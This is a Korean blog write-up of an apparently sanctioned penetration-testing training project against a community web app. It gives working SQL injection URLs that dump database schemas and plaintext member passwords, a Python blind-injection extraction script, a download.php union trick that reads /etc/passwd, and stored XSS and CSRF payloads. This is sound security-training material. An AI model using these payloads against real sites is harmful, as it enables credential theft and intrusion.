본문 바로가기
Project/모의해킹 project

모의해킹 project3 - SB커뮤니티

by 끊임없는정진 2023. 1. 21.

▶ 작성하기에 앞서

여러모로 신경쓸게 많았던 2주였다. 또한, 연휴동안 9991번 포트를 실수로 털어서 모의해킹 대상인 9575번 포트는 이틀 동안만 털고 보고서를 작성해서 걱정이 많았다. 운이 좋게도 download.php에서 SQL Injection 취약점을 찾은 뒤에 보고서를 작성해서 취약점을 그나마 많이 찾을 수 있었지 않았나 싶다. 저번과 동일하게 SQLi, XSS, CSRF 등의 대표적인 취약점만 게시할 예정이다.

 

▶ SQL Injection

[1] delete.php, ask_del.php : 비밀번호란 혹은 no 파라미터에 다음과 같은 쿼리문을 주입하면 내 계정으로(ask_del의 경우 그냥) 비밀번호를 우회해서 삭제할 수 있다(SQLi 취약점으로 비밀번호 우회가능). 

no = 228' and '1'='1'%23

pwd = ') or no='228' and ('1')=('1

 

[2] address_result.php : 제일 취약점 찾기 무난한 Vector인 것 같다. 누가 주소검색란에 SQL Injection을 할 것이라 생각하겠는가. 어쨋든 payload는 아래와 같다.

http://normaltic.com:9575/address_result.php?address=12312418924%25%27%2F**%2Funion%2F**%2Fselect%2F**%2F1,database(),3,4,5,6,7,8,9,10,11,12%23 

http://normaltic.com:9575/address_result.php?address=12312418924%25%27%2F**%2Funion%2F**%2Fselect%2F**%2F1,table_name,3,4,5,6,7,8,9,10,11,12%20from%20information_schema.tables%20where%20table_schema=%27bbs%27%23


http://normaltic.com:9575/address_result.php?address=12312418924%25%27%2F**%2Funion%2F**%2Fselect%2F**%2F1,column_name,3,4,5,6,7,8,9,10,11,12%20from%20information_schema.columns%20where%20table_name=%27members%27%23


http://normaltic.com:9575/address_result.php?address=12312418924%25%27%2F**%2Funion%2F**%2Fselect%2F**%2F1,idx,uid,4,name,address,7,pwd,9,10,11,12%20from%20members%20where%201%23

 

위와 같은 과정으로 SQL Injection 공격을 수행하면 아래와 같이 정보를 털어갈 수 있다(참고로 홈페이지 만드신 분이 암호를 해시화하지 않았다. 이는 어떤 취약점으로 분류할지 아직 고민중에 있다.).

 

[3] registerproc.php : 회원가입란에 각 파라미터를 아래와 같이 작성해서 요청하면, 마이페이지의 주소 창에 database 정보를 출력하는 것을 확인할 수 있다.

Uid = bogobogo','1234',(select database()))#

Name = 1234,’bogobogo’,’1234’,(select database())#


Pwd = 1234’,(select database())#


Address = asd’),(‘1234’,’bogobogo’,’1234’,(select database())#

 

[4] board.php,sort_date.php,sort_date_d.php,sort_title.php,sort_title_d.php,sort_view.php,sort_view_d.php : 뭐를 이렇게 한꺼번에 설명하냐 싶겠지만, 위 페이지들 전부 거의 같은 페이지소스를 활용한다. 차이점은 SQL 쿼리문에서 어떤 정보 순서대로 나열할지 설정 차이가 존재할 뿐이다. 각 파라미터에 대한 Payload는 다음과 같다.

search = http://normaltic.com:9575/user_board/board.php?Soption=name&search=1234645%%27%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9,0,1,2,3,4,5,6%23&sd=&ed=

Soption = http://normaltic.com:9575/user_board/board.php?Soption=0%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9,10,1,2,3,4,5,6%23&search=a&sd=&ed=

sd = http://normaltic.com:9575/user_board/board.php?Soption=%23&search=a&sd=99999%27%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16%23&ed=0

ed = http://normaltic.com:9575/user_board/board.php?Soption=%23&search=a&sd=&ed=0%27%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16%23

 

위 Payload를 입력하면 다음과 같이 db정보를 출력하게 된다(이후 과정은 생략).

 

[5] board_modify.php : 위와 동일하다. 차이가 있다면, 아마 테스트 중에 만든 파일이라 일반적인 방법으로는 접근이 불가능하다는 점인 것 같다.

 

[6] confirmDel.php :  삭제페이지도 SQLi 취약점이 있어? 생각하시겠지만, 실제로 있다. 해당 페이지의 특징을 알아보면 알 수 있는데, 내가 작성자가 맞는지 검증하는 단계가 있다. 따라서, 내가 작성자가 아닌데, 해당 글의 confirmDel.php 페이지로 접근하게 된다면 다음과 같은 화면으로 차단한다.

 

즉, 다음과 같은 쿼리문을 사용해서, 정보를 불러오고 대조할 확률이 높다.

SELECT * FROM board WHERE no='$no'

 

확인하는 방법은 간단히, 아래 두개의 payload를 입력해서 페이지 차이가 있는지 확인하는 것이다.

http://normaltic.com:9575/user_board/confirmDel.php?no=228%27and%201=1%20and%271%27=%271
http://normaltic.com:9575/user_board/confirmDel.php?no=228%27and%201=2%20and%271%27=%271

 

예상과 같이 위의 payload는 위의 화면, 아래의 payload는 아래의 화면을 출력하게 된다.

 

이제 자동화해서 값을 뽑아내자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from requests import get
 
host = "http://normaltic.com:9575/user_board/confirmDel.php"
cookies = {'PHPSESSID''u7coocj0tasqgl8m3378sn0um0'}
 
# Find admin password length
password_length = 0
while True:
    password_length += 1
    query = f'228%27%20and%20ascii(substr((select%20database()),{password_length},1))=0%20and%20%271%27=%271'
    r = get(f"{host}/?no={query}", cookies=cookies)
    if not "xxxxx" in r.text:
        break
print(f"password length: {password_length - 1}")
 
password = ""
 
# Find each characters
for i in range(1, password_length):
    ascii_num = 0
    while True:
        ascii_num += 1
        query = f'228%27%20and%20ascii(substr((select%20database()),{i},1))={ascii_num}%20and%20%271%27=%271'
        r = get(f"{host}/?no={query}", cookies=cookies)
        if not "xxxxx" in r.text:
            break
    print(f"character {i}'s ascii code: {ascii_num}")
 
    password += chr(ascii_num)
 
print(password)
cs

 

그럼 아래와 같이 탈취한 database 이름을 확인해볼 수 있다.

 

 

[7] download.php(개인적으로 이번 프로젝트의 핵심이라고 생각한다.) : 여기서 SQLi 취약점만 찾으면, 소스코드 탈취와 직결되기 때문에 웹 취약점을 끝까지 탈탈 털어낼 수 있다. 일단, download기능에서 어떠한 요청과 응답이 오는지보면 대충 추측이 가능하다.

 

게시글 번호인 no파라미터로 요청을 보내면, 해당 게시글에 해당하는 게시물을 불러와서 다운로드 한다. 게시물을 번호로 저장해서 다운로드 하는가? 그건 또 아니다. 디렉토리 인덱싱 취약점이 존재하기 때문에 /user_board/upload/ 경로의 파일을 보면 내가 업로드한 이름 그대로 업로드 되어 있는 것을 쉽게 확인할 수 있다. 

그럼 추측해볼 수 있다. 혹시 게시물 column에서 게시물번호와 함께 파일경로를 저장하고 SQL 쿼리문으로 불러오는 것은 아닐까? 그건 우리가 SQL Injection을 통해서 query를 시험삼아 날려보면 알 수 있다. 물론, 이스케이핑 혹은 프리페어드 스테이트먼트 처리를 했으면 여기서는 SQL Injection취약점을 찾기가 쉽지 않을 것이므로, 이는 논외로 하자.

 

227'+and+'1'='1 을 넣으니깐 똑같은 파일을 불러온다. 내 예상대로 SQL 쿼리문으로 파일 경로를 불러온다. 그럼 생각해보자. 몇개의 column을 불러오는 쿼리문일까? 뒤에 'order by'를 붙여서 쿼리해보면 쉽게 알 수 있다.

 

order by 1에는 응답했으나, order by 2에는 응답하지 못하는 것을 보면, 불러오는 column개수는 1개인 것을 생각할 수 있다. 

대강 쿼리문을 생각하면 아래와 같은 구조일 것이다 :

SELECT path FROM board WHERE no='$no'

 

여기서 내가 원하는 경로의 파일을 불러오려면 아래와 같이 UNION SELECT를 쓰면 되지 않겠는가?

SELECT path FROM board WHERE no='9999999999' UNION SELECT '../../../../../../etc/passwd'

 

 

위 방법과 동일하게 db정보를 탈취할수도 있다. 

 

위와 같이 소스코드를 다 털고 하나하나 읽으면서 취약점을 찾아버리면, 단기간 내에 엄청나게 취약점들을 많이 찾아낼 수 있다.

 

 

[8] 이외에도.. : 이외에도 SQL Injection Vector는 엄청 많다. 나머지 내용은 첨부한 보고서를 참고하면 될 것 같다. 엄청 많아서 일일이 나열할 수가 없다.

 

 

▶ Stored XSS

[1] registerproc.php: 회원가입 시에 이름 또는 아이디란에 XSS 취약점을 주입하면 진짜 시도때도없이 alert창이 뜨는 것을 확인할 수 있다. 

 

[2] writePost.php: 파일이름은 잘 검증을 안하는 것 같다. fname에 XSS payload를 적으면 XSS가 터진다. 다만, / 기호가 들어가는 순간 경로로 인식하고 짤라버리니깐, / 기호가 없는 <img src=x onmouseover=alert(document.cookie)>.png 와 같이 입력해야 한다. 

[3] ask_writeproc.php: 문의게시판에서는 XSS 대처를 안해놓은 것 같다. 그냥 원하는 파라미터 아무거나에 XSS Payload 넣으면 터진다. 단, phone과 pwd는 사용자에게 출력되는 파라미터가 아니므로, 터지지 않는다.

 

▶ CSRF

XSS 취약점이 존재했던 어떠한 페이지에 들어가서 CSRF payload를 넣어보자.  

[1] Delete.php, ask_del.php : XSS 취약점이 있는 페이지에 게시글 삭제요청을 보내는 payload를 입력한다. 단, pwd 값에는 해당 게시글의 비밀번호를 입력해야 한다.(이게 무슨 취약점이냐 물을 수 있겠는데, 비밀번호 인증 단계 SQLi 취약점으로 우회할 수 있다. 따라서, 비밀번호로 검증하는 단계는 있으나마나 하다는 얘기). 해당 CSRF 게시글을 작성자가 열람하면 그대로 삭제당하는 것을 확인할 수 있다.

 

[2] like.php, unlike.php, ask_like.php, ask_unlike.php : 특정 게시글에 강제로 좋아요를 누르게하거나 취소를 하게 할 때 쓸 수 있는 CSRF 공격이다. 간단히 내 게시글에 다음과 같은 payload를 넣고 열람하면, 강제로 좋아요 처리가 되는 것을 확인할 수 있다.

 

[3] 이외에도... : 이외에도 일일이 적기에는 CSRF 취약점이 조금 많다. 위의 CSRF 공격을 바탕으로 생각해보시면 좋겠다. 마찬가지로 자세한 내용은 나중에 보고서를 참고하시면 좋겠다. 

 

 

▶ (번외) 따봉충들의 반란 (unlike.php 우회방법)

아이디에 line feed (%0a) 을 앞에 붙이고 가입하면 unlike를 무제한으로 할 수 있다. 물론, line feed이라는 것이 일반적으로 삽입할 수 있는 기호는 아니기에 나는 burp suite로 값을 넣어서 가입했다(로그인할 때도 마찬가지). 어쨋든 가입한 뒤에 아무 게시글에 좋아요를 눌러보자. 

 

그리고 취소해보자.

 

여전히 취소 가능함을 알 수가 있다. 이런 기능을 활용해서 좋아요를 많이받은 사람에게 좋아요 취소 테러를 해버릴 수도 있다. 

 

좋아요 개수를 -10163로 만들어 버릴수 있다... ㅋㅋ

 

 

다사다난한 프로젝트였다. 이만 project3 도 끝!

댓글